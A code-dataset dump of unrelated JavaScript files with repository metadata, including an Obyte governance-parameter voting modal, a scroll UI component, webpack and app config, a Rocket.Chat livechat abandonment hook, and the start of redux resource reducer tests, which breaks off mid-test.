import React, { useState, useRef, useEffect } from "react"; import { Modal, Form, Input, Button, Space, Typography, Select, Row, Col, message } from "antd"; import obyte from "obyte"; import { useTranslation } from 'react-i18next'; import { generateLink } from "utils/generateLink"; import { redirect } from "utils/redirect"; import client from "services/socket"; import { viewParameter } from "pages/Main/components/Governance/viewParameter"; import { percentageParams } from "pages/Main/components/Governance/components/percentageParams"; import { paramsDescription } from "pages/Create/paramsDescription"; import { QRButton } from "components/QRButton/QRButton"; const { Text } = Typography; export const ChangeParamsModal = ({ visible = false, param, onCancel, symbol, decimals, activeWallet, governance_aa, asset, value = undefined, balance, isMyVote, supportParamsByAddress, supportsByValue, base_governance, fund_aa }) => { const { t } = useTranslation(); const validateParams = { fee_multiplier: { validator: (value) => base_governance === "Y4VBXMROK5BWBKSYYAMUW7QUEZFXYBCF" ? value >= 1 : value >= 0, rule: t("modals.change_param.valid.fee_multiplier", "The value of the fee_multiplier parameter must be greater than {{value}}", {value: base_governance === "FCFYMFIOGS363RLDLEWIDBIIBU7M7BHP" ? 1 : 0}), }, moved_capacity_share: { validator: (value) => value > 0 && value <= 100, rule: t("modals.change_param.valid.moved_capacity_share", "The value of the moved_capacity_share (as a percentage) parameter must be in the range from 0 to 100") }, threshold_distance: { validator: (value) => value > 0 && value <= 0.2, rule: t("modals.change_param.valid.threshold_distance", "The value of the threshold_distance parameter must be in the range from 0 to 0.2") }, move_capacity_timeout: { validator: (value) => value > 0 && Number.isInteger(Number(value)), rule: t("modals.change_param.valid.move_capacity_timeout", "The value of the move_capacity_timeout parameter must be an integer greater than 0"), }, slow_capacity_share: { validator: (value) => value >= 0 && value <= 100, rule: t("modals.change_param.valid.slow_capacity_share", "The value of the slow_capacity_share (as a percentage) parameter must be in the range from 0 to 100") }, interest_rate: { validator: (value) => value >= 0, rule: t("modals.change_param.valid.interest_rate", "The value of the interest_rate (as a percentage) parameter must be greater than or equal to 0") }, oracles: { validator: (value) => !!value, }, "deposits.min_deposit_term": { validator: (value) => value >= 0 && Number.isInteger(Number(value)), rule: t("modals.change_param.valid.min_deposit_term", "The value of the min_deposit_term parameter must be an integer greater than or equal to 0") }, "deposits.challenging_period": { validator: (value) => value >= 0 && Number.isInteger(Number(value)), rule: t("modals.change_param.valid.challenging_period", "The value of the challenging_period parameter must be an integer greater than or equal to 0") }, "deposits.challenge_immunity_period": { validator: (value) => value >= 0 && Number.isInteger(Number(value)), rule: t("modals.change_param.valid.challenge_immunity_period", "The value of the challenge_immunity_period parameter must be an integer greater than or equal to 0") }, "deposits.reporter_share": { validator: (value) => value >= 0 && value <= 100, rule: t("modals.change_param.valid.reporter_share", "The value of the reporter_share (as a percentage) parameter must be in the range from 0 to 100") }, decision_engine_aa: { validator: (value) => { return obyte.utils.isValidAddress(value); }, }, sf_capacity_share: { validator: (value) => value >= 0 && value <= 100, rule: t("modals.change_param.valid.sf_capacity_share", "The value of the sf_capacity_share (as a percentage) parameter must be in the range from 0 to 100") } }; const [checkedOracle, setCheckedOracle] = useState(undefined); const [oracles, setOracles] = useState({}); const [amount, setAmount] = useState({ value: undefined, valid: false, }); const [paramValue, setParamValue] = useState({ value: undefined, valid: false, }); useEffect(() => { const getStatusOracle = async () => { const { oracle1, feed_name1, op1, oracle2, feed_name2, op2, oracle3, feed_name3, op3, } = oracles; if (oracle1 && feed_name1 && op1) { try { const data_feed = await client.api.getDataFeed({ oracles: [oracle1], feed_name: feed_name1, ifnone: "none", }); if (data_feed !== "none") { setCheckedOracle(true); } else { message.error("Oracle 1 is not active!"); setCheckedOracle(null); } } catch (e) { setCheckedOracle(null); message.error("Oracle 1 is not found!"); console.log("error", e); } } else { message.error("Not all data for oracle 1 is specified!"); setCheckedOracle(null); } if (oracle2 || feed_name2) { if (op2) { try { const data_feed = await client.api.getDataFeed({ oracles: [oracle2], feed_name: feed_name2, ifnone: "none", }); if (data_feed !== "none") { setCheckedOracle(true); } else { message.error("Oracle 2 is not active!"); setCheckedOracle(null); } } catch (e) { setCheckedOracle(null); message.error("Oracle 2 is not found!"); console.log("error", e); } } else { message.error("Not all data for oracle 2 is specified!"); setCheckedOracle(null); } } if (oracle3 || feed_name3) { if (op3) { try { const data_feed = await client.api.getDataFeed({ oracles: [oracle3], feed_name: feed_name3, ifnone: "none", }); if (data_feed !== "none") { setCheckedOracle(true); } else { message.error("Oracle 3 is not active!"); setCheckedOracle(null); } } catch (e) { setCheckedOracle(null); message.error("Oracle is not found!"); console.log("error", e); } } else { message.error("Not all data for oracle 3 is specified!"); setCheckedOracle(null); } } }; if (checkedOracle === false) { getStatusOracle(); } }, [checkedOracle]); useEffect(() => { setParamValue({ value: value !== "undefined" && (!isNaN(value) || param === "oracles") ? value : undefined, valid: value !== "undefined", }); setAmount({ value: undefined, valid: false, }); setOracles({}); setCheckedOracle(undefined); }, [visible]); // eslint-disable-line const handleChangeOracles = (name, value) => { setOracles((o) => ({ ...o, [name]: value })) } useEffect(() => { if (param === "oracles" && oracles) { const oraclesArray = []; const { feed_name1, feed_name2, feed_name3, oracle1, oracle2, oracle3, op1, op2, op3 } = oracles; if (oracle1 && feed_name1 && op1 && obyte.utils.isValidAddress(oracle1)) { oraclesArray.push(oracle1 + op1 + feed_name1); } if (oracle2 && feed_name2 && op2 && obyte.utils.isValidAddress(oracle2)) { oraclesArray.push(oracle2 + op2 + feed_name2); } if (oracle3 && feed_name3 && op3 && obyte.utils.isValidAddress(oracle3)) { oraclesArray.push(oracle3 + op3 + feed_name3); } if (oraclesArray.length > 0) { setParamValue({ value: oraclesArray.join(" "), valid: true }); } else if(!value) { setParamValue({ value: undefined, valid: false }); } }; }, [param, oracles]); const valueInput = useRef(null); const supportInput = useRef(null); const handleChangeAmount = (ev) => { const value = ev.target.value; const reg = /^[0-9.]+$/; if (value === "" || value === "0") { setAmount({ value, valid: undefined }); } else { if ( (~(value + "").indexOf(".") ? (value + "").split(".")[1].length : 0) <= decimals ) { if (reg.test(String(value))) { setAmount({ value, valid: true }); } else { setAmount({ value, valid: false }); } } } }; const handleChangeParamValue = (ev) => { const value = ev.target.value; let reg; if (param === "move_capacity_timeout") { reg = /^[0-9]+$/; } else { reg = /^(0|[.1-9]\d*)([.,]\d+)?$/; } if (value === "") { setParamValue({ value: undefined, valid: undefined }); } else if ( (reg.test(String(value)) || param === "decision_engine_aa") && validateParams[param].validator(value) ) { setParamValue({ value, valid: true }); } else { setParamValue({ value, valid: false }); } }; const link = generateLink( amount.valid ? Math.ceil(amount.value * 10 ** decimals) : 1e4, { name: param, value: percentageParams.includes(param) ? paramValue.value / 100 : (param === "decision_engine_aa" || param === "oracles" ? paramValue.value : Number(paramValue.value)), }, activeWallet, governance_aa, amount.valid ? asset : undefined ); const handleKeyPress = (ev) => { if (ev.key === "Enter") { if (finalSupport !== 0 && paramValue.valid) { redirect(link); onCancel(); } } }; useEffect(() => { if (valueInput.current) { if (isMyVote) { supportInput.current.focus(); } else { valueInput.current.focus(); } } }, [visible]); const finalSupport = balance + (amount.valid ? Number(amount.value) : 0); const validationStatus = param && (paramValue.value || Number(paramValue.value) === 0) ? validateParams[param].validator(paramValue.value) : undefined; const supportsValue = percentageParams.includes(param) ? paramValue.value / 100 : paramValue.value; const totalSupport = supportsValue in supportsByValue ? Number(supportsByValue[supportsValue] || 0) / 10 ** decimals + Number(amount.value || 0) + (balance - (isMyVote ? Number(supportParamsByAddress.support / 10 ** decimals) : 0) || 0) : Number(amount.value || 0) + (balance || 0); return ( <Modal title={t("modals.change_param.title", "Change {{param}}", { param: param.replace("deposits.", '').replaceAll("_", ' ') || "param"})} visible={visible} onCancel={onCancel} width={700} footer={ <Space> <Button key="Cancel" onClick={onCancel}> {t("modals.common.close", "Close")} </Button> {param === "oracles" && !checkedOracle && !value ? <Button key="check" type="primary" onClick={() => setCheckedOracle(false)} > {t("modals.common.check", "Check")} </Button> : <QRButton key="submit" type="primary" href={link} disabled={ paramValue.value === undefined || paramValue.value === "" || !paramValue.valid || isMyVote ? Number(amount.value) === 0 || !amount.valid : finalSupport === 0 || !paramValue.valid } onClick={() => setTimeout(() => { onCancel(); }, 100) } > {isMyVote ? t("modals.change_param.add_support", "Add support") : t("modals.change_param.vote", "Vote")} </QRButton>} </Space> } > <div style={{ marginBottom: 10 }}> <Text type="secondary">{param && validateParams[param] && validateParams[param].rule}</Text> </div> <Form size="large" layout="vertical"> {"value" in supportParamsByAddress && "support" in supportParamsByAddress && ( <p> <Text type="secondary"> <b> {t("modals.change_param.your_support_value", "Your support in favor of")}{" "} {viewParameter(supportParamsByAddress.value, param, true)}{param === "oracles" ? <span> — </span> : ":"} </b>{" "} {supportParamsByAddress.support / 10 ** decimals}{" "} {symbol || (fund_aa ? "T_SF" : "T1")} </Text> </p> )} <Text type="secondary">{t("modals.change_param.param_value", "Parameter value")}:</Text> {param !== "oracles" && <Form.Item hasFeedback validateStatus={((!paramValue.valid && paramValue.value !== undefined) || validationStatus === false) ? "error" : undefined} help={((!paramValue.valid && paramValue.value !== undefined) || validationStatus === false) ? validateParams[param].rule : undefined} > <Input placeholder={param.replace("deposits.", '').replaceAll("_", ' ')} autoComplete="off" autoFocus={!isMyVote} disabled={isMyVote || param === "oracles"} suffix={percentageParams.includes(param) ? "%" : undefined} ref={valueInput} onChange={handleChangeParamValue} value={paramValue.value} onKeyPress={handleKeyPress} /> </Form.Item>} {param === "oracles" && value && <p> <Text type="secondary"> <b> {viewParameter(value, param, true)} </b> </Text> </p>} {param === "oracles" && !value && <div> <Row> <Col sm={{ span: 24 }} xs={{ span: 24 }} md={{ span: 11 }}> <Form.Item> <Input placeholder={paramsDescription().oracle2.name} autoComplete="off" disabled={checkedOracle === true} style={{ width: "100%" }} value={oracles.oracle1} onChange={(ev) => handleChangeOracles("oracle1", ev.target.value)} /> </Form.Item> </Col> <Col sm={{ span: 24 }} xs={{ span: 24 }} md={{ span: 7, offset: 1 }}> <Form.Item> <Input placeholder={paramsDescription().feed_name1.name} autoComplete="off" disabled={checkedOracle === true} value={oracles.feed_name1} onChange={(ev) => handleChangeOracles("feed_name1", ev.target.value)} /> </Form.Item> </Col> <Col sm={{ span: 24 }} xs={{ span: 24 }} md={{ span: 4, offset: 1 }}> <Form.Item> <Select placeholder={paramsDescription().op1.name} disabled={checkedOracle === true} style={{ width: "100%" }} value={oracles.op1} onChange={(value) => handleChangeOracles("op1", value)} > <Select.Option value={"*"}>*</Select.Option> <Select.Option value={"/"}>/</Select.Option> </Select> </Form.Item> </Col> </Row> <Row> <Col sm={{ span: 24 }} xs={{ span: 24 }} md={{ span: 11 }}> <Form.Item> <Input placeholder={paramsDescription().oracle2.name} autoComplete="off" disabled={checkedOracle === true} style={{ width: "100%" }} value={oracles.oracle2} onChange={(ev) => handleChangeOracles("oracle2", ev.target.value)} /> </Form.Item> </Col> <Col sm={{ span: 24 }} xs={{ span: 24 }} md={{ span: 7, offset: 1 }}> <Form.Item> <Input placeholder={paramsDescription().feed_name2.name} autoComplete="off" disabled={checkedOracle === true} value={oracles.feed_name2} onChange={(ev) => handleChangeOracles("feed_name2", ev.target.value)} /> </Form.Item> </Col> <Col sm={{ span: 24 }} xs={{ span: 24 }} md={{ span: 4, offset: 1 }}> <Form.Item> <Select placeholder={paramsDescription().op2.name} disabled={checkedOracle === true} style={{ width: "100%" }} value={oracles.op2} onChange={(value) => handleChangeOracles("op2", value)} > <Select.Option value={"*"}>*</Select.Option> <Select.Option value={"/"}>/</Select.Option> </Select> </Form.Item> </Col> </Row> <Row> <Col sm={{ span: 24 }} xs={{ span: 24 }} md={{ span: 11 }}> <Form.Item> <Input placeholder={paramsDescription().oracle3.name} autoComplete="off" disabled={checkedOracle === true} style={{ width: "100%" }} value={oracles.oracle3} onChange={(ev) => handleChangeOracles("oracle3", ev.target.value)} /> </Form.Item> </Col> <Col sm={{ span: 24 }} xs={{ span: 24 }} md={{ span: 7, offset: 1 }}> <Form.Item> <Input placeholder={paramsDescription().feed_name3.name} autoComplete="off" disabled={checkedOracle === true} value={oracles.feed_name3} onChange={(ev) => handleChangeOracles("feed_name3", ev.target.value)} /> </Form.Item> </Col> <Col sm={{ span: 24 }} xs={{ span: 24 }} md={{ span: 4, offset: 1 }}> <Form.Item> <Select placeholder={paramsDescription().op3.name} disabled={checkedOracle === true} style={{ width: "100%" }} value={oracles.op3} onChange={(value) => handleChangeOracles("op3", value)} > <Select.Option value={"*"}>*</Select.Option> <Select.Option value={"/"}>/</Select.Option> </Select> </Form.Item> </Col> </Row> </div>} <p> <Text type="secondary"> <b>{t("modals.change_param.your_balance", "Your current balance on the governance AA")}: </b> {balance} {symbol || "tokens1"} </Text> </p> {balance !== 0 && <Text type="secondary">{t("modals.change_param.add_more", "Add more (optional)")}:</Text>} <Form.Item> <Input placeholder={t("modals.change_param.count_tokens", "Count of {{symbol}}", {symbol: symbol || asset})} autoComplete="off" onChange={handleChangeAmount} suffix={symbol || (fund_aa ? "T_SF" : "T1")} autoFocus={isMyVote} value={amount.value} ref={supportInput} onKeyPress={handleKeyPress} /> </Form.Item> </Form> { !value && validationStatus && totalSupport ? ( <Text type="secondary"> <p> <b> {t("modals.change_param.your_supported_value", "Your supported value is")} {Math.trunc(paramValue.value * 10 ** decimals) / 10 ** decimals || viewParameter(paramValue.value, param, true)}{percentageParams.includes(param) ? "%" : ""} </b> </p> </Text> ) : null } { validationStatus && totalSupport ? ( <p> <Text type="secondary"> <b> {t("modals.change_param.total_support", "Total support for this value")}: {" "} </b> {totalSupport} {symbol || "tokens1"} </Text> </p> ) : null } { validationStatus && totalSupport ? ( <p> <Text type="secondary"> <b> {t("modals.change_param.your_support", "Your support for this value")}: {" "} </b> {Number(amount.value || 0) + (balance || 0)} {symbol || "tokens1"} </Text> </p> ) : null } </Modal > ); };
36.370052
248
0.519237
462d719714d6b8c1ed2ade906868e06e704d9e98
137
js
JavaScript
frontend/src/config.js
emotz/poc-vue-authenticate
07875e7720a274a76312b0d3338f9b1fa9a78f66
[ "MIT" ]
null
null
null
frontend/src/config.js
emotz/poc-vue-authenticate
07875e7720a274a76312b0d3338f9b1fa9a78f66
[ "MIT" ]
6
2017-08-29T11:45:53.000Z
2017-09-04T06:51:13.000Z
frontend/src/config.js
emotz/poc-vue-authenticate
07875e7720a274a76312b0d3338f9b1fa9a78f66
[ "MIT" ]
null
null
null
export default { // base_url: "https://graph.facebook.com", home_url: "http://localhost:8080", app_id: "114630769219304" };
19.571429
46
0.642336
462d9ba29f3b58370e308b893ed70154a909e568
7,963
js
JavaScript
src/Scroll/Scroll.js
rongjiehe/shineout
5a1567025aedf38ed1c4539dbecdccbca815fc3a
[ "MIT" ]
null
null
null
src/Scroll/Scroll.js
rongjiehe/shineout
5a1567025aedf38ed1c4539dbecdccbca815fc3a
[ "MIT" ]
null
null
null
src/Scroll/Scroll.js
rongjiehe/shineout
5a1567025aedf38ed1c4539dbecdccbca815fc3a
[ "MIT" ]
null
null
null
import React from 'react' import PropTypes from 'prop-types' import classnames from 'classnames' import { PureComponent } from '../component' import { getProps, defaultProps } from '../utils/proptypes' import { getParent } from '../utils/dom/element' import normalizeWheel from '../utils/dom/normalizeWheel' import { scrollClass } from '../styles' import Bar from './Bar' import config from '../config' import { Provider } from './context' import { throttleWrapper } from '../utils/lazyload' export const BAR_WIDTH = 16 class Scroll extends PureComponent { constructor(props) { super(props) this.touchStartX = 0 this.touchStartY = 0 this.wheelX = true this.wheelY = true this.pixelX = 0 this.pixelY = 0 this.cacheWidth = 0 this.cacheHeight = 0 this.bindInner = this.bindInner.bind(this) this.bindWheel = this.bindWheel.bind(this) this.setRect = this.setRect.bind(this) this.handleScrollX = this.handleScrollX.bind(this) this.handleScrollY = this.handleScrollY.bind(this) this.handleWheel = this.handleWheel.bind(this) this.bindIframe = this.bindIframe.bind(this) this.handleTouchStart = this.handleTouchStart.bind(this) this.handleTouchMove = this.handleTouchMove.bind(this) this.setStartPoint = this.setStartPoint.bind(this) } componentDidMount() { super.componentDidMount() setTimeout(this.setRect) this.wheelElement.addEventListener('wheel', this.handleWheel, { passive: false }) this.wheelElement.addEventListener('touchstart', this.handleTouchStart, { passive: true }) this.wheelElement.addEventListener('touchmove', this.handleTouchMove, { passive: false }) } componentDidUpdate(prevProps) { const { stable, scrollWidth, scrollHeight } = this.props if (scrollWidth !== prevProps.scrollWidth) this.setRect() else if (stable && scrollHeight !== prevProps.scrollHeight) this.setRect() } componentWillUnmount() { super.componentWillUnmount() this.wheelElement.removeEventListener('wheel', this.handleWheel) this.wheelElement.removeEventListener('touchstart', this.handleTouchStart) this.wheelElement.removeEventListener('touchmove', this.handleTouchMove) } getWheelRect() { if (!this.wheelElement) return { width: 0, height: 0 } let { width, height } = this.wheelElement.getBoundingClientRect() // display none if (width === 0 && height === 0) { width = this.cacheWidth height = this.cacheHeight } else { this.cacheWidth = width this.cacheHeight = height } const { scrollX, scrollY, style } = this.props width = (style.width || width) - (scrollY ? BAR_WIDTH : 0) height = (style.height || height) - (scrollX ? BAR_WIDTH : 0) return { width, height } } setRect() { this.handleScroll(this.props.left, this.props.top) this.forceUpdate() } setBaseScrollHeightRatio(height) { if (this.baseScrollRatio) return this.baseScrollRatio = 1 const ratio = config.scrollRatio // windows scroll if (Math.abs(height) > 10) { this.baseScrollRatio = ratio / Math.abs(height) } } setStartPoint(position) { this.touchStartX = position.clientX this.touchStartY = position.clientY } bindInner(el) { this.inner = el } bindIframe(el) { if (el && el.contentWindow) { el.contentWindow.onresize = throttleWrapper(this.setRect) } } bindWheel(el) { this.wheelElement = el } boundleScroll() { /* this.locked = true this.scrollTimer = setTimeout(() => { this.locked = false if (this.pixelX !== 0 || this.pixelY !== 0) { this.boundleScroll() } }, 32) */ // lock direction if (Math.abs(this.pixelX) > Math.abs(this.pixelY)) { this.pixelY = 0 } else { this.pixelX = 0 } const { left, top } = this.props const { scrollWidth, scrollHeight } = this.props let x = left + this.pixelX / scrollWidth if (x < 0) x = 0 if (x > 1) x = 1 let y = top + this.pixelY / scrollHeight if (y < 0) y = 0 if (y > 1) y = 1 if (x !== left || y !== top) { this.handleScroll(x, y, this.pixelX, this.pixelY) } this.pixelX = 0 this.pixelY = 0 } handleWheel(event) { const scrollX = this.wheelX const scrollY = this.wheelY const { innerScrollAttr } = this.props if (!scrollX && !scrollY) return if (innerScrollAttr.find(attr => event.target.hasAttribute(attr))) { event.stopPropagation() return } const target = getParent(event.target, `.${scrollClass('_')}`) if (target !== this.wheelElement) return const wheel = normalizeWheel(event) this.setBaseScrollHeightRatio(wheel.pixelY) if (scrollX) this.pixelX += wheel.pixelX if (scrollY) this.pixelY += wheel.pixelY * this.baseScrollRatio if (Math.abs(wheel.pixelX) > Math.abs(wheel.pixelY)) { event.preventDefault() } else if (scrollY) event.preventDefault() // if (!this.locked) { this.boundleScroll() // } } handleScroll(x, y, pixelX, pixelY) { const { scrollWidth } = this.props const { width, height } = this.getWheelRect() const max = Math.round((1 - width / scrollWidth) * scrollWidth) if (this.props.onScroll) { this.props.onScroll(x, y, max, this.inner, width, height, pixelX, pixelY) } } handleScrollX(left) { this.handleScroll(left, this.props.top, undefined, 0) } handleScrollY(top) { this.handleScroll(this.props.left, top) } handleTouchStart(e) { this.setStartPoint(e.changedTouches[0]) } handleTouchMove(e) { const { scrollX, scrollY } = this.props e.preventDefault() const position = e.changedTouches[0] const moveX = position.clientX - this.touchStartX const moveY = position.clientY - this.touchStartY if (scrollX) this.pixelX = -moveX if (scrollY) this.pixelY = -moveY // need reset the start this.setStartPoint(position) this.boundleScroll() } render() { const { children, scrollWidth, scrollHeight, left, top, scrollX, scrollY, style } = this.props const { width, height } = this.getWheelRect() const className = classnames(scrollClass('_', scrollX && 'show-x', scrollY && 'show-y'), this.props.className) const yLength = scrollHeight < height ? scrollHeight : height this.wheelY = Math.ceil(scrollHeight) > Math.ceil(yLength) this.wheelX = Math.ceil(scrollWidth) > Math.ceil(width) return ( <div style={style} ref={this.bindWheel} className={className}> <iframe tabIndex={-1} title="scroll" ref={this.bindIframe} className={scrollClass('iframe')} /> <div className={scrollClass('iframe')} /> <div ref={this.bindInner} className={scrollClass('inner')}> <Provider value={{ left: left * width, top: top * height, element: this.wheelElement }}>{children}</Provider> </div> {scrollY && ( <Bar direction="y" length={yLength} forceHeight={scrollHeight < height ? scrollHeight : undefined} scrollLength={scrollHeight} offset={top} onScroll={this.handleScrollY} /> )} {scrollX && ( <Bar direction="x" length={width} scrollLength={scrollWidth} offset={left} onScroll={this.handleScrollX} /> )} </div> ) } } Scroll.propTypes = { ...getProps(PropTypes), left: PropTypes.number.isRequired, // overLock: PropTypes.bool, top: PropTypes.number.isRequired, onScroll: PropTypes.func.isRequired, scrollHeight: PropTypes.number, scrollWidth: PropTypes.number, scrollX: PropTypes.bool.isRequired, scrollY: PropTypes.bool.isRequired, stable: PropTypes.bool, innerScrollAttr: PropTypes.arrayOf(PropTypes.string), } Scroll.defaultProps = { ...defaultProps, // overLock: true, scrollHeight: 0, scrollWidth: 0, innerScrollAttr: [], } export default Scroll
28.643885
119
0.653271
462e33186835692373d2d42c2572cc9258cb03e6
231
js
JavaScript
server/controllers/Pages.js
JimDaGuy/codex
a68bf6db8d416474335460af7bbae9165354c41c
[ "Apache-2.0" ]
null
null
null
server/controllers/Pages.js
JimDaGuy/codex
a68bf6db8d416474335460af7bbae9165354c41c
[ "Apache-2.0" ]
1
2022-02-10T22:43:57.000Z
2022-02-10T22:43:57.000Z
server/controllers/Pages.js
JimDaGuy/codex
a68bf6db8d416474335460af7bbae9165354c41c
[ "Apache-2.0" ]
null
null
null
const defaultPage = (req, res) => { res.render('main', { csrfToken: req.csrfToken() }); }; const appPage = (req, res) => { res.render('app', { csrfToken: req.csrfToken() }); }; module.exports = { defaultPage, appPage, };
17.769231
53
0.597403
462e3ee43987ada6555785b642abd72d2550eb93
3,553
js
JavaScript
app/livechat/server/hooks/processRoomAbandonment.js
VanSHOE/Rocket.Chat
bf6878e6c3e6213a03a055f933117bd52dc4b8ec
[ "MIT" ]
1
2021-12-29T15:41:56.000Z
2021-12-29T15:41:56.000Z
app/livechat/server/hooks/processRoomAbandonment.js
VanSHOE/Rocket.Chat
bf6878e6c3e6213a03a055f933117bd52dc4b8ec
[ "MIT" ]
null
null
null
app/livechat/server/hooks/processRoomAbandonment.js
VanSHOE/Rocket.Chat
bf6878e6c3e6213a03a055f933117bd52dc4b8ec
[ "MIT" ]
null
null
null
import moment from 'moment'; import { settings } from '../../../settings'; import { callbacks } from '../../../callbacks'; import { LivechatRooms, Messages } from '../../../models/server'; import { businessHourManager } from '../business-hour'; import { LivechatBusinessHours, LivechatDepartment } from '../../../models/server/raw'; const getSecondsWhenOfficeHoursIsDisabled = (room, agentLastMessage) => moment(new Date(room.closedAt)).diff(moment(new Date(agentLastMessage.ts)), 'seconds'); const parseDays = (acc, day) => { acc[day.day] = { start: { day: day.start.utc.dayOfWeek, time: day.start.utc.time }, finish: { day: day.finish.utc.dayOfWeek, time: day.finish.utc.time }, open: day.open, }; return acc; }; const getSecondsSinceLastAgentResponse = async (room, agentLastMessage) => { if (!settings.get('Livechat_enable_business_hours')) { return getSecondsWhenOfficeHoursIsDisabled(room, agentLastMessage); } let officeDays; const department = room.departmentId && (await LivechatDepartment.findOneById(room.departmentId)); if (department && department.businessHourId) { const businessHour = await LivechatBusinessHours.findOneById(department.businessHourId); officeDays = (await businessHourManager.getBusinessHour(businessHour._id, businessHour.type)).workHours.reduce(parseDays, {}); } else { officeDays = (await businessHourManager.getBusinessHour()).workHours.reduce(parseDays, {}); } let totalSeconds = 0; const endOfConversation = moment(new Date(room.closedAt)); const startOfInactivity = moment(new Date(agentLastMessage.ts)); const daysOfInactivity = endOfConversation.clone().startOf('day').diff(startOfInactivity.clone().startOf('day'), 'days'); const inactivityDay = moment(new Date(agentLastMessage.ts)); for (let index = 0; index <= daysOfInactivity; index++) { const today = inactivityDay.clone().format('dddd'); const officeDay = officeDays[today]; const startTodaysOfficeHour = moment(`${officeDay.start.day}:${officeDay.start.time}`, 'dddd:HH:mm').add(index, 'days'); const endTodaysOfficeHour = moment(`${officeDay.finish.day}:${officeDay.finish.time}`, 'dddd:HH:mm').add(index, 'days'); if (officeDays[today].open) { const firstDayOfInactivity = startOfInactivity.clone().format('D') === inactivityDay.clone().format('D'); const lastDayOfInactivity = endOfConversation.clone().format('D') === inactivityDay.clone().format('D'); if (!firstDayOfInactivity && !lastDayOfInactivity) { totalSeconds += endTodaysOfficeHour.clone().diff(startTodaysOfficeHour, 'seconds'); } else { const end = endOfConversation.isBefore(endTodaysOfficeHour) ? endOfConversation : endTodaysOfficeHour; const start = firstDayOfInactivity ? inactivityDay : startTodaysOfficeHour; totalSeconds += end.clone().diff(start, 'seconds'); } } inactivityDay.add(1, 'days'); } return totalSeconds; }; callbacks.add( 'livechat.closeRoom', async (room) => { const closedByAgent = room.closer !== 'visitor'; const wasTheLastMessageSentByAgent = room.lastMessage && !room.lastMessage.token; if (!closedByAgent || !wasTheLastMessageSentByAgent) { return; } const agentLastMessage = Messages.findAgentLastMessageByVisitorLastMessageTs(room._id, room.v.lastMessageTs); if (!agentLastMessage) { return; } const secondsSinceLastAgentResponse = await getSecondsSinceLastAgentResponse(room, agentLastMessage); LivechatRooms.setVisitorInactivityInSecondsById(room._id, secondsSinceLastAgentResponse); }, callbacks.priority.HIGH, 'process-room-abandonment', );
46.142857
128
0.741064
462e5793555f2596ebd63d2efcd91647e5e535bf
808
js
JavaScript
webpack.renderer.config.js
kleber-swf/phaser-spine-preview
ecd0cc54973b711f926320754d1aa9d820c59886
[ "MIT" ]
null
null
null
webpack.renderer.config.js
kleber-swf/phaser-spine-preview
ecd0cc54973b711f926320754d1aa9d820c59886
[ "MIT" ]
null
null
null
webpack.renderer.config.js
kleber-swf/phaser-spine-preview
ecd0cc54973b711f926320754d1aa9d820c59886
[ "MIT" ]
null
null
null
const rules = require('./webpack.rules'); const plugins = require('./webpack.plugins'); const path = require('path'); const phaserModule = path.join(__dirname, '/node_modules/phaser-ce/build/custom'); rules.push({ test: /\.css$/, use: [{ loader: 'style-loader' }, { loader: 'css-loader' }], }); module.exports = { module: { rules, }, target: 'electron-main', plugins: plugins, resolve: { extensions: ['.js', '.ts', '.jsx', '.tsx', '.css'], alias: { 'phaser-ce': path.join(phaserModule, 'phaser-split.js'), 'pixi': path.join(phaserModule, 'pixi.js'), 'p2': path.join(phaserModule, 'p2.js'), '@k3n/phaser-spine': path.join(__dirname, 'node_modules/@k3n/phaser-spine/build/phaser-spine-webpack.js'), }, }, output: { publicPath: './../', }, };
25.25
112
0.59901
462e6c30b88fde6aaaded8f4effc0d48599bca87
681
js
JavaScript
test_files/jsx/externs.js
bowenni/tsickle
f4a742640ea86a5e1d899625799e5d539680fa5f
[ "MIT" ]
null
null
null
test_files/jsx/externs.js
bowenni/tsickle
f4a742640ea86a5e1d899625799e5d539680fa5f
[ "MIT" ]
null
null
null
test_files/jsx/externs.js
bowenni/tsickle
f4a742640ea86a5e1d899625799e5d539680fa5f
[ "MIT" ]
null
null
null
/** * @externs * @suppress {duplicate,checkTypes} */ // NOTE: generated by tsickle, do not edit. // externs from test_files/jsx/jsx.tsx: /** @const */ var JSX = {}; /** * @record * @struct */ JSX.Element = function() {}; /** * @record * @struct */ JSX.IntrinsicElements = function() {}; /** @type {?} */ JSX.IntrinsicElements.prototype.div; /* TODO: PropertySignature: JSX."var" */ /** @const */ var React = {}; /** * @param {...?} args * @return {!Element} */ React.createElement = function(args) {}; /** * @param {!JSX.Element} element * @param {!HTMLElement} node * @return {void} */ React.render = function(element, node) {}; /** @type {?} */ var Component;
17.025
43
0.590308
462e8db126c3d66ff05eba5d8b1599a9a606be76
2,463
js
JavaScript
test/unit/reducers/create.js
jmeas/redux-inconsistent-api
65abd77bab3cff8f278cf378a360275912ae8088
[ "MIT" ]
2
2018-04-04T11:10:20.000Z
2021-05-07T15:43:51.000Z
test/unit/reducers/create.js
jamesplease/redux-simple-resource
65abd77bab3cff8f278cf378a360275912ae8088
[ "MIT" ]
2
2017-02-04T00:00:17.000Z
2017-02-04T00:00:28.000Z
test/unit/reducers/create.js
jmeas/redux-inconsistent-api
65abd77bab3cff8f278cf378a360275912ae8088
[ "MIT" ]
1
2018-04-04T11:10:23.000Z
2018-04-04T11:10:23.000Z
import simpleResource, {xhrStatuses} from '../../../src'; describe('reducers: create', function() { it('should handle `CREATE_HELLO`', () => { const result = simpleResource('hello'); const reduced = result.reducer(result.initialState, { type: 'CREATE_HELLO' }); expect(reduced).to.deep.equal({ resources: [], resourceMeta: {}, resourceListMeta: { createXhrStatus: xhrStatuses.PENDING, readXhrStatus: xhrStatuses.NULL } }); }); it('should handle `CREATE_HELLOS_FAIL`', () => { const result = simpleResource('hello'); const reduced = result.reducer(result.initialState, { type: 'CREATE_HELLO_FAIL' }); expect(reduced).to.deep.equal({ resources: [], resourceMeta: {}, resourceListMeta: { createXhrStatus: xhrStatuses.FAILED, readXhrStatus: xhrStatuses.NULL } }); }); it('should handle `CREATE_HELLOS_ABORT`', () => { const result = simpleResource('hello'); const reduced = result.reducer(result.initialState, { type: 'CREATE_HELLO_ABORT' }); expect(reduced).to.deep.equal({ resources: [], resourceMeta: {}, resourceListMeta: { createXhrStatus: xhrStatuses.ABORTED, readXhrStatus: xhrStatuses.NULL } }); }); it('should handle `CREATE_HELLOS_RESET`', () => { const result = simpleResource('hello'); const reduced = result.reducer(result.initialState, { type: 'CREATE_HELLO_RESET' }); expect(reduced).to.deep.equal({ resources: [], resourceMeta: {}, resourceListMeta: { createXhrStatus: xhrStatuses.NULL, readXhrStatus: xhrStatuses.NULL } }); }); it('should handle `CREATE_HELLO_SUCCEED`', () => { const result = simpleResource('hello', { 